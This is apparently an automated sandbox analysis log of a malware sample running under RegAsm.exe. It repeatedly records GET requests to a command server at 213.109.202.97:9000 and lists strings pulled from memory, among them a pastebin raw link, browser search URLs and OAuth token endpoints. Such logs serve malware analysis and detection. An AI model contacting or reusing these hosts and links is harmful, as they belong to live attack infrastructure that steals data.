Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive

Source: RegAsm.exe, 00000001.00000002.4489424197.0000000002C17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.109.202.97:9000
Source: RegAsm.exe, 00000001.00000002.4489424197.0000000002C17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.109.202.97:9000/wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F
Source: RegAsm.exe, 00000001.00000002.4489424197.0000000002B71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: licenses.html.1.dr	String found in binary or memory: http://www.droidfonts.com/
Source: RegAsm.exe, 00000001.00000002.4489424197.000000000317B000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.4489424197.0000000002DC6000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.4489424197.0000000002F2D000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.4489424197.0000000003006000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: manifest.json.1.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/revoke
Source: RegAsm.exe, 00000001.00000002.4489424197.000000000317B000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.4489424197.0000000002DC6000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.4489424197.0000000002F2D000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.4489424197.0000000003006000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: RegAsm.exe, 00000001.00000002.4489424197.000000000317B000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.4489424197.0000000002DC6000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.4489424197.0000000002F2D000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.4489424197.0000000003006000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: RegAsm.exe, 00000001.00000002.4489424197.000000000317B000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.4489424197.0000000002DC6000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.4489424197.0000000002F2D000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.4489424197.0000000003006000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: Secure Preferences.1.dr	String found in binary or memory: https://chrome.google.com/webstore
Source: RegAsm.exe, 00000001.00000002.4489424197.0000000002B71000.00000004.00000800.00020000.00000000.sdmp, Secure Preferences.1.dr, manifest.json.1.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: Secure Preferences.1.dr	String found in binary or memory: https://docs.google.com/
Source: Secure Preferences.1.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: Secure Preferences.1.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: Secure Preferences.1.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: Secure Preferences.1.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: Secure Preferences.1.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: Secure Preferences.1.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: Secure Preferences.1.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: Secure Preferences.1.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: Secure Preferences.1.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: Secure Preferences.1.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: Secure Preferences.1.dr	String found in binary or memory: https://drive.google.com/
Source: RegAsm.exe, 00000001.00000002.4489424197.000000000317B000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.4489424197.0000000002DC6000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.4489424197.0000000002F2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: RegAsm.exe, 00000001.00000002.4489424197.0000000002DC6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: RegAsm.exe, 00000001.00000002.4489424197.000000000317B000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.4489424197.0000000002F2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtabS
Source: RegAsm.exe, 00000001.00000002.4489424197.000000000317B000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.4489424197.0000000002DC6000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.4489424197.0000000002F2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: licenses.html.1.dr	String found in binary or memory: https://github.com/Authenticator-Extension
Source: licenses.html.1.dr	String found in binary or memory: https://github.com/FortAwesome/Font-Awesome
Source: licenses.html.1.dr	String found in binary or memory: https://github.com/multiwebinc
Source: manifest.json.1.dr	String found in binary or memory: https://login.microsoftonline.com/common/oauth2/v2.0/token
Source: RegAsm.exe, 00000001.00000002.4489424197.0000000002B71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/Ld9GfkdJ
Source: RegAsm.exe, 00000001.00000002.4489424197.000000000317B000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.4489424197.0000000002DC6000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.4489424197.0000000002F2D000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.4489424197.0000000003006000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: manifest.json.1.dr	String found in binary or memory: https://www.google.com/
Source: RegAsm.exe, 00000001.00000002.4489424197.000000000317B000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.4489424197.0000000002DC6000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.4489424197.0000000002F2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: manifest.json.1.dr	String found in binary or memory: https://www.googleapis.com/
